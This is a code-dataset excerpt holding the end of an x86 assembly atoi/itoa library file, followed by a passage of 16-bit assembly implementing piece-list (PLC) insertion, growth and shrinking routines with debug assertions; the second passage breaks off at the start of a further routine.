dec ebx ; Move the pointer backwards in the buffer
mov byte [ebx], dl ; Move the character into the buffer
inc dword [ebp - 4] ; Increase the length
cmp eax, 0 ; Was the result zero?
jnz .divloop ; No it wasn't, keep looping
.minussign:
cmp edi, 1
jne .done
dec ebx
mov byte [ebx], 0x2d
inc dword [ebp - 4] ; Increase the length
.done:
mov ecx, ebx ; ecx points to the beginning of the string
mov edx, [ebp - 4] ; ebp-4 contains the length - move it into edx
mov esp, ebp ; Clean up our stack
pop ebp
ret
atoi:
; ebx must point to the input buffer that is NULL terminated.
push ebp
mov ebp, esp
sub esp, 4
.init:
; Initialize variables and registers
xor edi, edi ; Used as counter
mov ecx, 10 ; Used as multiplier
xor eax, eax ; Returns result
xor edx, edx ; Temporary
mov dword [ebp - 4], 0 ; Store result
.checknegative:
xor esi, esi ; Used to represent negative numbers
mov dl, [ebx + edi] ; Select the character
cmp dl, 0x2d ; Check if this is - sign
jne .multiplyLoop
mov esi, 1 ; esi = 1 represents negative numers
inc edi ; mov buffer pointer
.multiplyLoop:
mov eax, [ebp - 4] ; Get saved value
mul ecx ; Make this value 10x
jo .invalid ; Jump in case of overflow
mov dl, [ebx + edi] ; Select the character
cmp dl, 0x30 ; Validate character between 0-9
jl .invalid
cmp dl, 0x39
jg .invalid
sub dl, 0x30 ; Subtract ASCII 48 to get its actual value
add eax, edx ; Add new value and 10x old value
mov [ebp - 4], eax ; Save result
inc edi ; Increase the counter
cmp byte [ebx + edi], 0 ; Have we reached a null terminator?
je .finish ; If yes, we are done.
cmp byte [ebx + edi], 0xa ; Have we reached a newline character?
je .finish ; If yes, we are done.
cmp byte [ebx + edi], 0xd ; Did we reach a carriage return (in windows)?
je .finish ; If yes, we are done.
jmp .multiplyLoop ; Loop back
.finish:
mov eax, [ebp - 4] ; Result in eax
.minussign:
cmp esi, 1
jne .done
neg eax
jmp .done
.invalid:
xor eax, eax
.done:
mov esp, ebp ; clean up our stack
pop ebp
ret
| intellectualheaven/ceed | lib/atoi_itoa.asm | Assembly | bsd-2-clause | 3,608 |
include w2.inc
include noxport.inc
include consts.inc
include structs.inc
createSeg clsplc_PCODE,clsplcn,byte,public,CODE
; DEBUGGING DECLARATIONS
ifdef DEBUG
midClsplcn equ 26 ; module ID, for native asserts
endif
; EXTERNAL FUNCTIONS
externFP <FChngSizePhqLcb>
externFP <ReloadSb>
externFP <N_QcpQfooPlcfoo>
externFP <AdjustHplcCpsToLim>
ifdef DEBUG
externFP <AssertProcForNative>
externFP <FCheckHandle>
externFP <S_FOpenPlc>
externFP <S_FStretchPlc>
externFP <S_ShrinkPlc>
endif
sBegin data
;
; /* E X T E R N A L S */
;
externW mpsbps ; extern SB mpsbps[];
externW vmerr ; extern struct MERR vmerr;
externW vfUrgentAlloc ; extern int vfUrgentAlloc;
externW vfInCommit ; extern int vfInCommit;
ifdef DEBUG
externW wFillBlock
externW vsccAbove
externW vpdrfHead
externW vpdrfHeadUnused
endif ;/* DEBUG */
sEnd data
; CODE SEGMENT _clsplcn
sBegin clsplcn
assumes cs,clsplcn
assumes ds,dgroup
assumes ss,dgroup
include asserth.asm
;-------------------------------------------------------------------------
; FInsertInPlc(hplc, i, cp, pch)
;-------------------------------------------------------------------------
;/* F I N S E R T I N P L C */
;/* open space in PLC and copy passed cp to plc.rgcp[i], and move structure
; foo pointed to by pch to the ith entry in the range of foos. */
;EXPORT FInsertInPlc(hplc, i, cp, pch)
;struct PLC **hplc;
;int i;
;CP cp;
;char *pch;
;{
; %%Function:N_FInsertInPlc %%Owner:BRADV
cProc N_FInsertInPlc,<PUBLIC,FAR>,<si,di>
ParmW hplc
ParmW iArg
ParmD cpArg
ParmW pch
cBegin
; Assert(hplc);
ifdef DEBUG
push ax
push bx
push cx
push dx
mov ax, midClsplcn
mov bx, 1001 ; label # for native assert
cCall AssertHForNative,<[hplc], ax, bx>
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; if (!FOpenPlc(hplc, i, 1))
; return fFalse;
mov bx,[hplc]
mov si,[iArg]
mov ax,1
push bx ;save hplc
push bx
push si
push ax
ifdef DEBUG
cCall S_FOpenPlc,<>
else ;not DEBUG
push cs
call near ptr N_FOpenPlc
endif ;DEBUG
pop bx ;restore hplc
or ax,ax
je FIIP03
; Assert((*hplc)->cb == 0 || pch != NULL);
ifdef DEBUG
push ax
push bx
push cx
push dx
mov bx,[hplc]
mov bx,[bx]
cmp [bx.cbPlc],0
je FIIP01
cmp [pch],NULL
jne FIIP01
mov ax,midClsplcn
mov bx,1022
cCall AssertProcForNative,<ax,bx>
FIIP01:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; if ((*hplc)->cb) PutPlc(hplc, i, pch);
; PutCpPlc(hplc, i, cp);
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
ifdef DEBUG
xor di,di ;Not O.K. to pass ifldMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call FIIP04
endif ;DEBUG
;***Begin in-line PutCpPlc
mov dx,[iArg]
cmp dx,[bx.icpAdjustPlc]
mov ax,[OFF_cpArg]
mov dx,[SEG_cpArg]
jl FIIP02
sub ax,[bx.LO_dcpAdjustPlc]
sbb dx,[bx.HI_dcpAdjustPlc]
FIIP02:
mov es:[di],ax
mov es:[di+2],dx
;***End in-line PutCpPlc
;***Begin in-line PutPlc
mov di,si
mov si,[pch]
rep movsb
;***End in-line PutPlc
; return fTrue;
mov ax,fTrue
FIIP03:
cEnd
ifdef DEBUG
FIIP04:
push ax
push bx
push cx
push dx
push es ;save es from QcpQfooPlcfoo
mov bx,dx
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc FIIP05
;Assembler note: There is no way we should have to call ReloadSb here.
; reload sb trashes ax, cx, and dx
; cCall ReloadSb,<>
mov ax,midClsplcn
mov bx,1002
cCall AssertProcForNative,<ax,bx>
FIIP05:
pop ax ;restore es from QcpQfooPlcfoo
mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo
cmp ax,bx
je FIIP06
mov ax,midClsplcn
mov bx,1003
cCall AssertProcForNative,<ax,bx>
FIIP06:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
; End of FInsertInPlc
;-------------------------------------------------------------------------
; FOpenPlc(hplc, i, di)
;-------------------------------------------------------------------------
;/* F O P E N P L C */
;/* when di > 0, FOpenPlc inserts di empty entries at position i in the PLC.
; when di < 0, FOpenPlc deletes the -di entries beginning at position i
; in the PLC. */
;NATIVE FOpenPlc(hplc, i, di)
;struct PLC **hplc;
;int i;
;int di;
;{
; struct PLC *pplc;
; int cpPlc;
; int iMacOld;
; int iMaxNew;
; int cbPlc;
Ltemp002:
jmp FOP08
; %%Function:N_FOpenPlc %%Owner:BRADV
cProc N_FOpenPlc,<PUBLIC,FAR>,<si,di>
ParmW hplc
ParmW iArg
ParmW diArg
cBegin
;/* if no change requested, there's nothing to do. return. */
; if (di == 0)
; return(fTrue);
mov di,[diArg]
or di,di
jz Ltemp002
;/* must unwind the fence up to pplc->rgcp[i], because caller is signaling
; intention to alter plc beginning with ith entry (even when di == 0). */
; pplc = *hplc;
; if (pplc->icpAdjust < i)
; AdjustHplcCpsToLim(hplc, i);
mov si,[hplc]
mov bx,[si]
mov ax,[iArg]
cmp [bx.icpAdjustPlc],ax
jge FOP01
cCall AdjustHplcCpsToLim,<si,ax>
FOP01:
; Assert(i <= pplc->iMac);
ifdef DEBUG
; /* Assert (i < pplc->iMac) with a call so as not to mess up
; short jumps */
call FOP10
endif ;/* DEBUG */
; cbPlc = pplc->cb;
; iMacOld = pplc->iMac;
;Assembler note: get these values when they are needed.
; if (di > 0)
; {
or di,di
jle FOP03
; /* we are expanding the plc */
; if (!FStretchPlc(hplc, di))
; return fFalse;
;LN_FStretchPlc takes hplc in si and di in di.
;The result is returned in ax. ax, bx, cx, dx, di are altered.
call LN_FStretchPlc
or ax,ax
je Ltemp001
; pplc = *hplc;
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
mov bx,si
mov si,[bx]
mov si,[si.iMacPlcStr]
ifdef DEBUG
mov di,1 ;O.K. to pass iMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call FOP12
endif ;DEBUG
;/* move rgfoo entries */
; BltInPlc(bpmFoo, hplc, i, 0, di, iMacOld - i);
;***Begin in-line BltInPlc
push di ;save pcp
mov ax,[bx.iMacPlcStr]
push es
pop ds
std
sub ax,[iArg]
push ax ;save iMacOld - i
mul cx
xchg ax,cx
dec si
dec si ;adjust for post-decrement
mov di,si
mov dx,[diArg]
mul dx
add di,ax
ifdef DEBUG
; /* Assert (!(cx & 1)) with a call so as not to mess up
; short jumps */
call FOP15
endif ;/* DEBUG */
shr cx,1
rep movsw
pop cx ;restore iMacOld - i
pop di ;restore pcp
;***End in-line BltInPlc
;/* move rgcp entries */
; BltInPlc(bpmCp, hplc, i, di, 0, iMacOld - i + 1);
;***Begin in-line BltInPlc
;have iMacOld - i in cx
inc cx
shl cx,1
inc di
inc di ;adjust for post-decrement and position after iMac
mov si,di
mov ax,[diArg]
mov dx,ax ;save di for later
shl ax,1
shl ax,1
add di,ax
rep movsw
;***End in-line BltInPlc
cld
push ss
pop ds
; pplc->iMac = iMacOld + di;
add [bx.iMacPlcStr],dx
; if (pplc->icpAdjust < i)
; pplc->icpAdjust = i;
mov ax,[iArg]
cmp [bx.icpAdjustPlc],ax
jge FOP02
mov [bx.icpAdjustPlc],ax
FOP02:
; pplc->icpAdjust += di;
add [bx.icpAdjustPlc],dx
; }
jmp short FOP08
Ltemp001:
jmp short FOP09
; else if (di < 0)
; {
;Assembler note: No need to test for di < 0 here. We know it is.
FOP03:
; /* in this case we will be removing di entries */
; di = -di;
neg di
; Assert(i + di <= iMacOld);
ifdef DEBUG
; /* Assert (i + di <= iMacOld) with a call so as not to mess up
; short jumps */
call FOP17
endif ;/* DEBUG */
; iMaxNew = pplc->iMax;
; /* if the Mac is less than half of the Max, we will later
; shift rgcp and foo entries in the PLC and reduce the
; size of the allocation */
; if ((iMacOld - di) * 2 <= iMaxNew)
; iMaxNew = iMacOld - di;
mov bx,[si]
mov dx,[bx.iMaxPlc]
mov ax,[bx.iMacPlcStr]
sub ax,di
shl ax,1
cmp ax,dx
ja FOP04
shr ax,1
xchg ax,dx
FOP04:
; if (pplc->icpAdjust > i + di)
; pplc->icpAdjust -= di;
; else if (pplc->icpAdjust > i)
; pplc->icpAdjust = i;
mov ax,[iArg]
mov cx,ax
add cx,di
cmp [bx.icpAdjustPlc],cx
jle FOP05
sub [bx.icpAdjustPlc],di
jmp short FOP06
FOP05:
cmp [bx.icpAdjustPlc],ax
jle FOP06
mov [bx.icpAdjustPlc],ax
FOP06:
; ShrinkPlc(hplc, iMaxNew, i, di);
push si
push dx
push ax
push di
ifdef DEBUG
cCall S_ShrinkPlc,<>
else ;not DEBUG
push cs
call near ptr N_ShrinkPlc
endif ;DEBUG
;/* blow the hint for the binary search. */
; pplc = *hplc;
; if (pplc->icpHint >= pplc->iMac)
; pplc->icpHint = 0;
mov bx,[si]
mov ax,[bx.iMacPlcStr]
cmp [bx.icpHintPlc],ax
jl FOP07
mov [bx.icpHintPlc],0
FOP07:
; }
; return (fTrue);
FOP08:
mov ax,fTrue
FOP09:
ifdef DEBUG
push ax
push bx
push cx
push dx
mov bx,[hplc]
mov bx,[bx]
mov ax,[bx.iMacPlcStr]
cmp ax,[bx.iMaxPlc]
jb FOP095
mov ax,midClsplcn
mov bx,1020
cCall AssertProcForNative,<ax,bx>
FOP095:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
;}
cEnd
ifdef DEBUG
; Assert(i <= pplc->iMac);
FOP10:
push ax
push bx
push cx
push dx
mov ax,[iArg]
mov bx,[hplc]
mov bx,[bx]
cmp ax,[bx.iMacPlcStr]
jle FOP11
mov ax,midClsplcn
mov bx,1004
cCall AssertProcForNative,<ax,bx>
FOP11:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
ifdef DEBUG
FOP12:
push ax
push bx
push cx
push dx
push es ;save es from QcpQfooPlcfoo
mov bx,dx
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc FOP13
;Assembler note: There is no way we should have to call ReloadSb here.
; reload sb trashes ax, cx, and dx
; cCall ReloadSb,<>
mov ax,midClsplcn
mov bx,1005
cCall AssertProcForNative,<ax,bx>
FOP13:
pop ax ;restore es from QcpQfooPlcfoo
mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo
cmp ax,bx
je FOP14
mov ax,midClsplcn
mov bx,1006
cCall AssertProcForNative,<ax,bx>
FOP14:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
ifdef DEBUG
; Assert(!(cx & 1));
FOP15:
test cl,1
je FOP16
push ax
push bx
push cx
push dx
push ss
pop ds
cld
mov ax,midClsplcn
mov bx,1007
cCall AssertProcForNative,<ax,bx>
std
pop dx
pop cx
pop bx
pop ax
FOP16:
ret
endif ;/* DEBUG */
ifdef DEBUG
; Assert(i + di <= iMacOld);
FOP17:
push ax
push bx
push cx
push dx
mov ax,[iArg]
add ax,di
mov bx,[hplc]
mov bx,[bx]
cmp ax,[bx.iMacPlcStr]
jle FOP18
mov ax,midClsplcn
mov bx,1008
cCall AssertProcForNative,<ax,bx>
FOP18:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
;-------------------------------------------------------------------------
; ShrinkPlc(hplc, iMaxNew, i, di)
;-------------------------------------------------------------------------
;/* S H R I N K P L C */
;/* shrink size to iMaxNew while deleting di entries starting with i */
;ShrinkPlc(hplc, iMaxNew, i, di)
;struct PLC **hplc; int iMaxNew, i, di;
;{
; struct PLC *pplc = *hplc;
; int iMaxOld = pplc->iMax;
; int iMacOld = pplc->iMac;
; int iLim = i + di;
; int cbPlc = pplc->cb;
; int dicp;
; %%Function:N_ShrinkPlc %%Owner:BRADV
cProc N_ShrinkPlc,<PUBLIC,FAR>,<si,di>
ParmW hplc
ParmW iMaxNew
ParmW iArg
ParmW diArg
cBegin
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
mov bx,[hplc]
mov si,[iArg]
add si,[diArg]
push si ;save i + di
ifdef DEBUG
mov di,1 ;O.K. to pass iMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call SP03
endif ;DEBUG
pop ax ;restore i + di
; pplc->iMac = iMacOld - di;
;Assembler note: This is done later in the assembler version.
; /* shift down rgcp[j] for j >= i + di */
; BltInPlc(bpmCp, hplc, iLim, -di, 0, (iMacOld + 1) - iLim);
;***Begin in-line BltInPlc
mov cx,[bx.iMacPlcStr]
push es
pop ds
push si ;save pfoo
mov si,di ;&rgcp[i+di]
mov dx,[diArg]
shl dx,1
shl dx,1
sub di,dx ;&rgcp[i]
inc cx
sub cx,ax
shl cx,1
rep movsw
pop si ;restore pfoo
;***End in-line BltInPlc
; /* shift down rgfoo[j] for 0 <=j < i to cover any rgcp entries
; that must be reclaimed. */
; Assert(iMaxNew <= iMaxOld);
; iMaxNew = min(iMaxNew + 5, iMaxOld); /* leave some room */
; dicp = iMaxOld - iMaxNew;
; if (dicp && i > 0)
; BltInPlc(bpmFoo, hplc, 0, -dicp, 0, i);
xor dx,dx ;default no movement due to iMax change
mov cx,[iMaxNew]
add cx,5
sub cx,ss:[bx.iMaxPlc]
jge SP01
push si ;save pfoo
add ss:[bx.iMaxPlc],cx
;***Begin in-line BltInPlc
mul ss:[bx.cbPlc] ;already have i+di in ax
sub si,ax ;&rgcp[iMaxNew]
mov di,si
mov ax,[iArg]
mul ss:[bx.cbPlc]
mov dx,cx
shl dx,1
shl dx,1
add di,dx ;&rgcp[iMaxOld]
xchg ax,cx
ifdef DEBUG
; /* Assert (!(cx & 1)) with a call so as not to mess up
; short jumps */
call SP06
endif ;/* DEBUG */
shr cx,1
rep movsw
;***End in-line BltInPlc
pop si ;restore pfoo
SP01:
push dx ;save diMax << 2
;Assembler note: the following line is done above in the C version.
; pplc->iMac = iMacOld - di;
mov ax,[diArg]
sub ss:[bx.iMacPlcStr],ax
; /* shift down rgfoo[i] for j >= i + di to cover space reclaimed
; from deleted rgfoos */
; BltInPlc(bpmFoo, hplc, iLim, -dicp, -di, iMacOld - iLim);
;***Begin in-line BltInPlc
mov di,si
add di,dx ;adjust for iMax change
mov cx,ss:[bx.cbPlc]
mul cx
sub di,ax ;adjust for di foo's
;Assembler note: At this point pplc->iMac is iMacOld - di, and we
;want iMacOld - iLim = iMacOld - (i + di) = (iMacOld - di) - i
mov ax,ss:[bx.iMacPlcStr]
sub ax,[iArg]
mul cx
xchg ax,cx
ifdef DEBUG
; /* Assert (!(cx & 1)) with a call so as not to mess up
; short jumps */
call SP06
endif ;/* DEBUG */
shr cx,1
rep movsw
;***End in-line BltInPlc
push ss
pop ds
; pplc->iMax = iMaxNew;
; if (iMaxNew < iMaxOld && !vfInCommit)
; {
; if (!pplc->fExternal)
; FChngSizeHCw(hplc, CwFromCch(cbPLCBase + (iMaxNew-1)
; * (sizeof(CP)+cbPlc) + sizeof(CP)), fTrue);
; else
; {
; HQ hqplce = pplc->hqplce; /* WARNING: heap may move */
; FChngSizePhqLcb(&hqplce, (((long)iMaxNew - 1) *
; (sizeof(CP) + cbPlc) + sizeof(CP)));
; (*hplc)->hqplce = hqplce;
; }
; }
;}
pop cx ;restore diMax << 2
jcxz SP025
mov si,[hplc]
xor di,di ;don't let LN_FSetSizeByDiMax alter pplc->iMax
;LN_FSetSizeByDiMax takes hplc in si, diMax in di and returns
;carry set iff the size of the hplc could be altered by diMax.
;(*hplc)->iMax is adjusted by this routine also.
call LN_FSetSizeByDiMax
ifdef DEBUG
jc SP02
push ax
push bx
push cx
push dx
mov ax,midClsplcn
mov bx,1009
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
SP02:
endif ;/* DEBUG */
SP025:
cEnd
ifdef DEBUG
SP03:
push ax
push bx
push cx
push dx
push es ;save es from QcpQfooPlcfoo
mov bx,dx
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc SP04
;Assembler note: There is no way we should have to call ReloadSb here.
; reload sb trashes ax, cx, and dx
; cCall ReloadSb,<>
mov ax,midClsplcn
mov bx,1010
cCall AssertProcForNative,<ax,bx>
SP04:
pop ax ;restore es from QcpQfooPlcfoo
mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo
cmp ax,bx
je SP05
mov ax,midClsplcn
mov bx,1011
cCall AssertProcForNative,<ax,bx>
SP05:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
ifdef DEBUG
; Assert(!(cx & 1));
SP06:
test cl,1
je SP07
push ax
push bx
push cx
push dx
push ss
pop ds
mov ax,midClsplcn
mov bx,1012
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
SP07:
ret
endif ;/* DEBUG */
;-------------------------------------------------------------------------
; FStretchPlc(hplc, di)
;-------------------------------------------------------------------------
;/* F S T R E T C H P L C */
;/* Assure room in hplc for di more entries. Changes iMax if necessary but does
;not change any other data. Returns fFalse iff no room.
;*/
;EXPORT FStretchPlc(hplc, di)
;struct PLC **hplc;
;int di;
;{
; struct PLC *pplc = *hplc;
; int diNeeded, diRequest;
; %%Function:N_FStretchPlc %%Owner:BRADV
cProc N_FStretchPlc,<PUBLIC,FAR>,<si,di>
ParmW hplc
ParmW diArg
cBegin
mov di,[diArg]
mov si,[hplc]
;LN_FStretchPlc takes hplc in si and di in di.
;The result is returned in ax. ax, bx, cx, dx, di are altered.
call LN_FStretchPlc
cEnd
;LN_FStretchPlc takes hplc in si and di in di.
;The result is returned in ax. ax, bx, cx, dx, di are altered.
LN_FStretchPlc:
; Assert(vfUrgentAlloc);
ifdef DEBUG
cmp [vfUrgentAlloc],fFalse
jne FSP01
push ax
push bx
push cx
push dx
mov ax,midClsplcn
mov bx,1013
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FSP01:
endif ;DEBUG
; AssertH(hplc);
ifdef DEBUG
push ax
push bx
push cx
push dx
mov ax,midClsplcn
mov cx,1014 ; label # for native assert
cCall AssertHForNative,<si, ax, cx>
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; if ((diNeeded = di - (pplc->iMax - pplc->iMac - 1)) <= 0)
;/* there is already sufficient space, do nothing */
; return fTrue;
mov bx,[si]
mov cx,di
sub di,[bx.iMaxPlc]
add di,[bx.iMacPlcStr]
inc di
mov ax,fTrue
jle FSP03
; else
;/* we need to expand beyond current max */
; {
; if (di == 1 && !vfInCommit &&
; (diRequest = pplc->iMax/4) > diNeeded)
;/* if just growing by one, try to grow by a larger increment first */
; {
;ax = 1, bx = pplc, cx = di, si = hplc, di = diNeeded
errnz <fTrue - 1>
cmp cx,ax
jne FSP02
cmp [vfInCommit],fFalse
jne FSP02
mov dx,[bx.iMaxPlc]
shr dx,1
shr dx,1
cmp dx,di
jle FSP02
; BOOL f;
; int matSave;
;/* we don't want to hand over swap space just to give a plc extra entries so
; we declare that the first allocation we will try is non-urgent. */
; vfUrgentAlloc = fFalse;
errnz <fTrue - fFalse - 1>
dec ax
mov [vfUrgentAlloc],ax
; matSave = vmerr.mat;
push [vmerr.matMerr]
; f = FStretchPlc2(hplc, diRequest);
push di ;save diNeeded
mov di,dx
;LN_FStretchPlc2 takes hplc in si, di in di and returns
;the result in ax. ax, bx, cx, dx, di are altered.
call LN_FStretchPlc2
pop di ;restore diNeeded
; vfUrgentAlloc = fTrue;
errnz <fTrue - fFalse - 1>
inc [vfUrgentAlloc]
; if (f)
; return fTrue;
pop dx ;remove matSave from stack
or ax,ax
jne FSP03
; /* if 1st alloc failed, restore vmerr flag in case
; 2nd try succeeds.
; */
; vmerr.mat = matSave;
mov [vmerr.matMerr],dx
; }
FSP02:
; return FStretchPlc2(hplc, diNeeded);
;LN_FStretchPlc2 takes hplc in si, di in di and returns
;the result in ax. ax, bx, cx, dx, di are altered.
call LN_FStretchPlc2
; }
;}
FSP03:
ret
;-------------------------------------------------------------------------
; FStretchPlc2(hplc, di)
;-------------------------------------------------------------------------
;/* F S T R E T C H P L C 2 */
;/* Grows iMax by exactly di. Returns fFalse iff no room.
;*/
;FStretchPlc2(hplc, di)
;struct PLC **hplc;
;int di;
;{
; struct PLC *pplc = *hplc;
; long lcb;
; int iMaxNew;
;LN_FStretchPlc2 takes hplc in si, di in di and returns
;the result in ax. ax, bx, cx, dx, di are altered.
LN_FStretchPlc2:
;/* don't let plc overflow iMac */
; if ((iMaxNew = pplc->iMax + di) < 0)
; {
; SetErrorMat(matMem);
; return fFalse;
; }
mov bx,[si]
mov dx,di
add dx,[bx.iMaxPlc]
clc
jl FSP201
; if (pplc->fExternal)
; if (vfInCommit)
;/* should already be big enough */
; Assert(CbOfHq(pplc->hqplce) >= lcb);
; else
; {
; HQ hq = pplc->hqplce;
; if (!FChngSizePhqLcb(&hq, lcb)) /* HM */
; return fFalse;
; (*hplc)->hqplce = hq;
; }
; else
; if (vfInCommit)
;/* should already be big enough */
; Assert(CbOfH(hplc) >= lcb + cbPLCBase);
; else
; {
;/* protect against cb overflow */
; if ((lcb += cbPLCBase) > 0x00007fff)
; {
; SetErrorMat(matMem);
; return fFalse;
; }
; if (!FChngSizeHCw(hplc, CwFromCch((uns)lcb), fFalse))
; return fFalse;
; }
;LN_FSetSizeByDiMax takes hplc in si, diMax in di and returns
;carry set iff the size of the hplc could be altered by diMax.
;(*hplc)->iMax is adjusted by this routine also.
call LN_FSetSizeByDiMax
FSP201:
sbb ax,ax
je FSP202
; pplc = *hplc;
;/* push rgfoo tables from old pos, up by di CP's */
; BltInPlc(bpmFoo, hplc, 0, di, 0, pplc->iMac);
; pplc->iMax += di;
;***Begin in-line BltInPlc
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
push si ;save hplc
push di ;save di argument
mov bx,si
mov si,[si]
mov si,[si.iMacPlcStr]
ifdef DEBUG
mov di,1 ;O.K. to pass iMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call FSP203
endif ;DEBUG
pop ax ;restore di argument
dec si
dec si ;adjust for post-decrement
mov di,si
shl ax,1
shl ax,1
sub si,ax
mov ax,[bx.iMacPlcStr]
mul cx
xchg ax,cx
ifdef DEBUG
; /* Assert (!(cx & 1)) with a call so as not to mess up
; short jumps */
call FSP206
endif ;/* DEBUG */
shr cx,1
push es
pop ds
std
rep movsw
cld
push ss
pop ds
;***End in-line BltInPlc
pop si ;restore hplc
; return fTrue;
mov ax,fTrue
;}
FSP202:
ret
ifdef DEBUG
FSP203:
push ax
push bx
push cx
push dx
push es ;save es from QcpQfooPlcfoo
mov bx,dx
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc FSP204
;Assembler note: There is no way we should have to call ReloadSb here.
; reload sb trashes ax, cx, and dx
; cCall ReloadSb,<>
mov ax,midClsplcn
mov bx,1015
cCall AssertProcForNative,<ax,bx>
FSP204:
pop ax ;restore es from QcpQfooPlcfoo
mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo
cmp ax,bx
je FSP205
mov ax,midClsplcn
mov bx,1016
cCall AssertProcForNative,<ax,bx>
FSP205:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
ifdef DEBUG
; Assert(!(cx & 1));
FSP206:
test cl,1
je FSP207
push ax
push bx
push cx
push dx
push ss
pop ds
mov ax,midClsplcn
mov bx,1021
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FSP207:
ret
endif ;/* DEBUG */
;LN_FSetSizeByDiMax takes hplc in si, diMax in di and returns
;carry set iff the size of the hplc could be altered by diMax.
;(*hplc)->iMax is adjusted by this routine also.
LN_FSetSizeByDiMax:
; lcb = (long)(iMaxNew-1)*(pplc->cb + sizeof(CP)) + sizeof(CP);
mov bx,[si]
;Assembler note: assert we have an external plc here because no
;one creates internal PLC's anymore.
ifdef DEBUG
test [bx.fExternalPlc],maskFExternalPlc
jne FSSBIM01
push ax
push bx
push cx
push dx
mov ax,midClsplcn
mov bx,1017
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FSSBIM01:
endif ;DEBUG
mov ax,[bx.cbPlc]
add ax,4
mov dx,[bx.iMaxPlc]
add dx,di
dec dx
ifdef DEBUG
jge FSSBIM02
push ax
push bx
push cx
push dx
mov ax,midClsplcn
mov bx,1018
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FSSBIM02:
endif ;DEBUG
mul dx
add ax,4
adc dx,0
clc
jnz FSSBIM06
; if (vfInCommit)
; Assert(CbOfHq(pplc->hqplce) >= lcb);
;#define CbOfHq(hq) (*((uns HUGE *)HpOfHq(hq)-1))
mov dx,[bx.LO_hqplcePlc]
mov bx,[bx.HI_hqplcePlc]
push bx
push dx ;save hqplce in memory
ifdef DEBUG
push dx ;save low hqplce
endif ;DEBUG
call LN_ReloadSb
ifdef DEBUG
pop bx ;restore low hqplce
endif ;DEBUG
cmp [vfInCommit],fFalse
ifdef DEBUG
jne FSSBIM07
else ;not DEBUG
jne FSSBIM04
endif ;DEBUG
; else
; {
; HQ hqplce = pplc->hqplce; /* WARNING: heap may move */
; if (!FChngSizePhqLcb(&hqplce, lcb)) /* HM */
; return fFalse;
; (*hplc)->hqplce = hqplce;
; }
mov bx,sp
xor cx,cx
cCall FChngSizePhqLcb,<bx, cx, ax>
or ax,ax
je FSSBIM05
FSSBIM04:
mov bx,[si]
pop [bx.LO_hqplcePlc]
pop [bx.HI_hqplcePlc]
add [bx.iMaxPlc],di
stc
db 0B8h ;turns "pop dx, pop bx" to "mov ax,immediate"
FSSBIM05:
pop dx
pop bx ;remove hqplce from stack
FSSBIM06:
ret
ifdef DEBUG
FSSBIM07:
push ax
push bx
push cx
push dx
mov bx,es:[bx]
cmp ax,es:[bx-2]
push bx
push ax
jbe FSSBIM08
mov ax,midClsplcn
mov bx,1019
cCall AssertProcForNative,<ax,bx>
FSSBIM08:
pop ax
pop bx
pop dx
pop cx
pop bx
pop ax
jmp FSSBIM04
endif ;DEBUG
LN_ReloadSb:
push ax ;save lcb
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc RS01
; reload sb trashes ax, cx, and dx
cCall ReloadSb,<>
RS01:
ifdef DEBUG
mov bx,[wFillBlock]
mov cx,[wFillBlock]
mov dx,[wFillBlock]
endif ;DEBUG
pop ax ;restore lcb
ret
;-------------------------------------------------------------------------
; MiscPlcLoops(hplc, iFirst, iLim, pResult, wRoutine)
;-------------------------------------------------------------------------
;HANDNATIVE C_MiscPlcLoops(hplc, iFirst, iLim, pResult, wRoutine)
;struct PLC **hplc;
